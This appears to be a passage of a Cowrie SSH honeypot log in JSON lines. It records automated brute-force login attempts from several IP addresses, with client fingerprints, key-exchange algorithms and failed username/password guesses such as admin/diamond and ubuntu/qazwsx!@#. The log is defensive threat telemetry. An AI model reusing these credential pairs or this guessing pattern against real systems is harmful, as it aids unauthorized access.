com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:17.944391Z","src_ip":"101.36.106.162","session":"e388dd73a860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"davidvlad10","message":"login attempt [ubuntu/davidvlad10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:18.827880Z","src_ip":"101.36.106.162","session":"e388dd73a860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:20.045629Z","src_ip":"101.36.106.162","session":"e388dd73a860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":54816,"dst_ip":"10.17.0.5","dst_port":22,"session":"70109377ffa8","protocol":"ssh","message":"New connection: 181.97.227.163:54816 (10.17.0.5:22) [session: 70109377ffa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:24.004476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:24.009175Z","src_ip":"181.97.227.163","session":"70109377ffa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:24.207036Z","src_ip":"181.97.227.163","session":"70109377ffa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testowy","password":"testowy","message":"login attempt [testowy/testowy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:25.028138Z","src_ip":"181.97.227.163","session":"70109377ffa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:26.229589Z","src_ip":"181.97.227.163","session":"70109377ffa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":9257,"dst_ip":"159.203.135.109","dst_port":22,"session":"be9b376d0e67","protocol":"ssh","message":"New connection: 131.161.219.137:9257 (159.203.135.109:22) [session: be9b376d0e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:36.157676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:36.163165Z","src_ip":"131.161.219.137","session":"be9b376d0e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:36.296734Z","src_ip":"131.161.219.137","session":"be9b376d0e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"diamond","message":"login attempt [admin/diamond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:36.839708Z","src_ip":"131.161.219.137","session":"be9b376d0e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:37.972008Z","src_ip":"131.161.219.137","session":"be9b376d0e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35112,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb3a64d51c6","protocol":"ssh","message":"New connection: 103.158.40.65:35112 (159.203.135.109:22) [session: acb3a64d51c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:39.826417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:39.831179Z","src_ip":"103.158.40.65","session":"acb3a64d51c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:40.055140Z","src_ip":"103.158.40.65","session":"acb3a64d51c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev-2024","message":"login attempt [dev/dev-2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:40.980612Z","src_ip":"103.158.40.65","session":"acb3a64d51c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:42.207232Z","src_ip":"103.158.40.65","session":"acb3a64d51c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40940,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffeea053d63","protocol":"ssh","message":"New connection: 103.125.103.201:40940 (10.17.0.5:22) [session: 4ffeea053d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:44.076566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:44.082420Z","src_ip":"103.125.103.201","session":"4ffeea053d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:44.325425Z","src_ip":"103.125.103.201","session":"4ffeea053d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx!@#","message":"login attempt [ubuntu/qazwsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:45.310956Z","src_ip":"103.125.103.201","session":"4ffeea053d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:46.554036Z","src_ip":"103.125.103.201","session":"4ffeea053d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":40352,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cbba6ab6229","protocol":"ssh","message":"New connection: 101.36.106.162:40352 (10.17.0.5:22) [session: 4cbba6ab6229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:07.103056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:07.108096Z","src_ip":"101.36.106.162","session":"4cbba6ab6229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:07.325800Z","src_ip":"101.36.106.162","session":"4cbba6ab6229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!@#","message":"login attempt [ubuntu/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:08.226067Z","src_ip":"101.36.106.162","session":"4cbba6ab6229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:09.446655Z","src_ip":"101.36.106.162","session":"4cbba6ab6229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":56488,"dst_ip":"159.203.135.109","dst_port":22,"session":"813ca7d412a4","protocol":"ssh","message":"New connection: 201.6.100.191:56488 (159.203.135.109:22) [session: 813ca7d412a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:16.329716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:16.334903Z","src_ip":"201.6.100.191","session":"813ca7d412a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:16.471334Z","src_ip":"201.6.100.191","session":"813ca7d412a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"aaa","message":"login attempt [user/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:17.043276Z","src_ip":"201.6.100.191","session":"813ca7d412a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:18.186018Z","src_ip":"201.6.100.191","session":"813ca7d412a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":52834,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dfed48b01d2","protocol":"ssh","message":"New connection: 181.97.227.163:52834 (10.17.0.5:22) [session: 9dfed48b01d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:31.507609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:31.512407Z","src_ip":"181.97.227.163","session":"9dfed48b01d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:31.734516Z","src_ip":"181.97.227.163","session":"9dfed48b01d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"12345678","message":"login attempt [teste/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:32.599713Z","src_ip":"181.97.227.163","session":"9dfed48b01d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":49076,"dst_ip":"159.203.135.109","dst_port":22,"session":"b719da8c9d2f","protocol":"ssh","message":"New connection: 43.173.69.147:49076 (159.203.135.109:22) [session: b719da8c9d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.607726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.611808Z","src_ip":"43.173.69.147","session":"b719da8c9d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.679718Z","src_ip":"43.173.69.147","session":"b719da8c9d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5699,"dst_ip":"159.203.135.109","dst_port":22,"session":"15cbb7a34d8e","protocol":"ssh","message":"New connection: 131.161.219.137:5699 (159.203.135.109:22) [session: 15cbb7a34d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.783569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.790577Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.807768Z","src_ip":"181.97.227.163","session":"9dfed48b01d2","protocol":"ssh"}
